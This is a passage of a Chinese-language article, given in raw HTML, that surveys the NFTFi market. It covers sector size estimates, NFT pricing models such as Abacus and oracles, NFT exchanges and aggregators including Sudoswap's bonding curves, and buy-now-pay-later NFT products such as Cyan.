style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前NFTFi还处于发展的早期阶段，市场规模方面可以从两个方面估算，一个是NFT市场交易量，一个是NFT的蓝筹估值：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、根据Nonfungible.com发布的《NFT市场2021 年度》报告显示，2021 年 NFT 市场的交易量为 176 亿美元，较 2020 年的 8200 万美元增长了 210倍，是同年全球传统艺术市场销售量（650 亿美元）的 27%。赛道规模≈176*50%（渗透率）≈88亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、基于蓝筹 NFT 的估值，对当前 NFTFi 的赛道规模进行估算。2022年5月，主要的蓝筹 NFT 价值（参考地板价且 ETH 价格按 2000 USD 计算）：BAYC 约为17.2亿美元、CryptoPunks为9.53亿美元、Moonbirds4.4亿美元、Azuki2.73亿美元、Doddles2.37亿美元，总估值约 35.87 亿美金。而土地类型的 The Sandbox, Arcade 与 Decentraland 因为有明显稀有度排名，不宜用地板价进行计算，故未作纳入。考虑到未来的上升空间，蓝筹 NFT 的整体市值约 50 亿美金。赛道规模≈50*80%（项目渗透率）≈40亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于目前NFT估值定价还不太成熟，市场基本上集中于蓝筹项目&amp;地板价NFT，在当下的赛道上来看用第2种方式更加合理；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">长期来看，随着NFTFi项目的从蓝筹拓宽涵盖更多NFT的项目，可以采用第1种方式，预计市场规模达到十亿美元级别。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">但总体来说目前NFTFi行业发展尚处于早期，上述测算仅能在数量级上提供参考，变动的可能性较大。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前的市场规模占加密货币总市值的0.5%左右，渗透率较低，提升空间较大。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">二、NFTFi各细分赛道项目情况</span></strong></span></h3><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>1.NFT定价&amp;估值</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">NFT的定价和估值可以说是整个NFTFi的基石，不管是借贷还是租赁都需要涉及到定价，好的定价体系对于NFT的流动非常重要，能促进整个NFTFi的发展。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">目前这个赛道包括Abacus、NFTBank、Banksea和Upshot等。目前定价方法主要包括两类：</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(40, 104, 176);"><strong>人来定价（博弈定价）、算法定价（预言机）</strong></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>1）人来定价方面，</strong><strong>最突出的产品就是Abacus，很好的利用了博弈论，Abacus采用了两种定价模型：</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>同行激励定价</strong>：价格的本质等于群体对于价格的认可度。首先多名评估师质押一定保证金，并对NFT的价格进行评估，然后对评估师的价格进行加权得出最终的价格。接下来评估计算评估师的收益，出价者与评估者越接近则收益越高，差价高于一定值的人会有损失。（一般分割线是差价高于 5% ）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>Abacus spot定价</strong>：Abacus作为评估者和所有者价格博弈的中介。评估师充当验证者，猜测 NFT 价值并将他们的资金投入不同的估值级别中。反过来，NFT 所有者获得了流动性的支持，以使用他们的 NFT 作为抵押品。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">例如：小红把自己的市价60ETH的BAYC放入池子里，想获得贷款；接下来小刚和小明各放入20ETH到池子里。此时如果小红决定把池子关闭（可以理解为BAYC卖出去），此时该BAYC为55ETH，则此时池子产生了一个差价15ETH，小刚和小明会平分15ETH。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">那如果小红关闭时该BAYC价格为30ETH，则小刚和小明会一起承担10ETH的差价亏损（根据投入比例分配）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于评估师和验证者的操作是具有及时性的（为了防止作恶，也会产生相应的限制），所以最终会在这种博弈中到达一个平衡的价格，即拍卖价格。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><span style="font-weight: bold;">2）</span><strong>算法来定价方面，本质上是预言机。</strong>目前该赛道比较成熟的方案有 Banksea 和 upshot，两者都是通过多维度数据结合算法估算NFT价格，例如Opensea市场价等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其中 Banksea除了NFT历史数据，他们还引用了社区、社交媒体数据和其他非直接关联的数据，丰富了数据维度。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;padding: 0px 16px;" data-mid="" mpa-from-tpl="t"><section style="width: 37px;height: 22px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;margin-left: 31px;background: #ffffff;margin-bottom: -10.1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.9384615384615385" data-w="195" src="https://wechat2rss.xlab.app/img-proxy/?k=16894db9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrEpbLAZBVQoV3XILeysDXIeFUcCtVR0oRQwCuGeibSic94wLUwF7p231g2MIEDFe3gjWQIdyNialXjLHd47ObNiaUA%2F640%3Fwx_fmt%3Dgif"/></section><section style="width: 100%;padding: 3px;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);padding: 16px 1px 15px 12px;" data-mid="" mpa-from-tpl="t"><section style="margin: 8px 1em;text-align: center;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>博弈定价与算法定金的优劣对比</strong></span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;list-style-type: circle;"><li><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>博弈定价：</strong></span></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">优点：能够精确定价，释放更高的流动性，例如质押率从 30% 提高到 70%。</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">缺点：定价过程复杂，博弈机制还有不完善的地方；无法大批量对多个项目估值；需要防止围标价格。</span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;list-style-type: circle;"><li><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>算法定价：</strong></span></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">优点：能实时报价，且紧跟市场。</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">缺点：精确度稍弱。</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: normal;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前预言机算法定价已经有了一定的效果，从市场需求的角度，等NFT历史数据不断积累，模型进一步迭代和优化后，算法定价有着更广阔的前景。</span></section></section></section><section style="width: 13px;height: 12px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-top: -9.1px;margin-right: 23px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=8f41e648&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FM4F4dWct8IZhdXpibwRsv54eStOandzSJ4iaOsdj6tJ9Zo3QGDicQquTGoGibR4SQcgp3epYLEMk2RkQDQsketA9Ew%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>2. NFT交易所&amp;聚合器</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">交易所和聚合器是用户用来购买NFT的场所，也是目前市场占有率最大的细分赛道，从下图可以看出，目前NFTFi的项目中主要活动还是集中在Opensea、LooksRare这样的中心化交易平台。</span></section><section style="margin: 24px 1em 16px;text-align: center;width: 100%;line-height: 2em;"><span style="letter-spacing: 1px;"><br/><em style="color: rgb(165, 165, 165);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;letter-spacing: 1px;text-align: justify;"></em></span><p style="text-align: center;line-height: normal;margin-top: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9486166007905138" data-s="300,640" style="" data-type="png" data-w="759" src="https://wechat2rss.xlab.app/img-proxy/?k=ffb7e12c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0OhG5taUAc8CMD2yAEmoeW5otVIoIcv3wfmsoiaVRsAbyDTYENlVxetA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>NFT交易量及平台占比（数据来源 <a href="https://dune.com/hildobby/NFTs）" target="_blank">https://dune.com/hildobby/NFTs）</a></em></span></p></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1）<strong>中心化NFT交易所：</strong>在第三方平台进行NFT的交易，目前最主流的交易方式。项目包括：Opensea、looksRare等，也是NFT玩家们非常熟悉的平台。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2）<strong>聚合器：</strong>通过多平台价格聚合，一方面提供更好的报价，另一方面一键扫货可以高效省gas fee。项目包括Gem、Genie等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">3）<strong>去中心化NFT交易所：</strong>代表项目是Sudoswap，逻辑和dex逻辑类似。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Sudoswap 的 AMM 模式和流动性的提供和Uniswap也很相似。在流动性提供方面，可提供单边NFT or ETH，也可以提供交易对获取交易费收益。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">但由于NFT不可分割，所以区别于x*y=k的曲线。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Sudoswap采取了三种其他曲线：包括线性曲线、指数曲线和XYK曲线（新增）。用户可自行选择：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、线性曲线: newprice = olderprice + delta * buy_number - delta * sell_number</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、指数曲线：逻辑类上，买入时乘以delta，卖出时除以delta。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">3、XYK曲线是9月新增的，但是在官方Twitter和白皮书上都写的较含糊，没有明确解释也无讨论热度。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;padding: 0px 16px;" data-mid="" mpa-from-tpl="t"><section style="width: 37px;height: 22px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;margin-left: 31px;background: rgb(255, 255, 255);margin-bottom: -10.1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.9384615384615385" data-w="195" src="https://wechat2rss.xlab.app/img-proxy/?k=16894db9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrEpbLAZBVQoV3XILeysDXIeFUcCtVR0oRQwCuGeibSic94wLUwF7p231g2MIEDFe3gjWQIdyNialXjLHd47ObNiaUA%2F640%3Fwx_fmt%3Dgif"/></section><section style="width: 100%;padding: 3px;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;border-width: 1px;border-style: solid;border-color: rgb(86, 86, 86);padding: 16px 1px 15px 12px;" data-mid="" mpa-from-tpl="t"><section style="margin: 8px 1em;text-align: center;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong>中心化NFT交易所 VS 去中心化NFT交易所</strong></span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;"><li style="letter-spacing: 1px;"><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><strong>去中心化NFT交易所：</strong></span></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">优点：市场撮合及时定价，能帮助长尾项目；没有版税，利好买家；手续费低。</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">缺点：失去了稀有度的差异，同一系列NFT价值趋同，只适合长尾或者同质化高的NFT；无版税引起创作者不满。</span></section><ul class="list-paddingleft-1" style="width: 511.484px;text-align: left;white-space: normal;"><li style="letter-spacing: 1px;"><section style="margin: 8px 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><strong>中心化交易所：</strong></span></section></li></ul><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">优点：提供NFT数量多，用户可挑选的池子大；一NFT一价。</span></section><section style="margin: 8px 1em;text-align: left;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">缺点：版税高、手续费高。</span></section></section></section><section style="width: 13px;height: 12px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-top: -9.1px;margin-right: 23px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=8f41e648&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FM4F4dWct8IZhdXpibwRsv54eStOandzSJ4iaOsdj6tJ9Zo3QGDicQquTGoGibR4SQcgp3epYLEMk2RkQDQsketA9Ew%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"> </span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=837eecfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0yReuNKMg05JCtH1jLyCdSkSQ0ssTKxyaJMNyczF1UPkIS8nibonB1Ww%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>Sudoswap和Opensea每日交易量对比（数据来源 <a href="https://dune.com/queries/1162308）" target="_blank">https://dune.com/queries/1162308）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><br/></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">从目前的Sudoswap和Opensea的每日成交量对比来看，基本上保持在3% VS 97%的一个现状，占比较低。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于PFP本身具有每一个token的唯一性，天然具有流动性低和定价主观的特性，从而导致转手频率不可能像token那么高，Sudoswap增强流动性的优势没能充分发挥，这是Sudoswap与uniswap相比的差距所在。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">从长远来看，Sudoswap与Gamefi中的道具NFT（单个同质、高频交易）则很完美的匹配，未来从gamefi生态合作入手，说不定会产生新的突破。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">另一方面，今年7月Uniswap NFT的产品负责人表示，Uniswap会集成Sudoswap进行NFT交易，这对Sudoswap未来的发展也是一大利好。</span></section><h4 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>3</strong><strong>.</strong><strong> NFT分期支付</strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">先买后付的诉求核心在于透支将来的消费能力来解决当下的资金短缺，这个支付场景从web2也延伸到了web3世界，为了满足Z世代的消费习惯，web3的建设者们也开始将此支付方式应用到NFT领域，包括Cyan、Cedar、Teller等产品。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">BNPL产品的模式基本上比较相似，以BNPL 协议中的代表产品Cyan为例：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">1、Cyan 会上架他们认可的蓝筹项目作为白名单项目。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2、然后玩家在Cyan 上发起一个 BNPL 计划，购买目前在Cyan白名单上的NFT。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">3、接下来Cyan 为用户提供了一个分期付款计划，包括分期还款的期限和利率。在 BNPL 的模式下，买家只需要支付一定首付锁定该 NFT 的价格三个月。如果过程中NFT 价格上涨，可以提前还款来赚取上涨的差价。不过利息并不会减少，用户还是得按照约定方案完成支付。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">4、玩家接受该方案后，获得来自 Cyan 资金库的 ETH。当完成所有分期付款后，则NFT转到该地址。如果逾期付款被视为违约，NFT 将保留在Cyan 资金库进行清算。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">5、关于Cyan的盈利模式，主要是通过借贷服务，用户抵押NFT来获取贷款。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">BNPL对于消费能力较弱但消费意愿较强的Z时代来说是一个非常有吸引力的方案，整体的玩法目前相对单调，基本上都是BNPL+借贷的模式。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">且其借贷对于定价估值的诉求很强，比如Cedar与SPICYEST合作，来为 NFT 提供准确价格方面进行补足。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 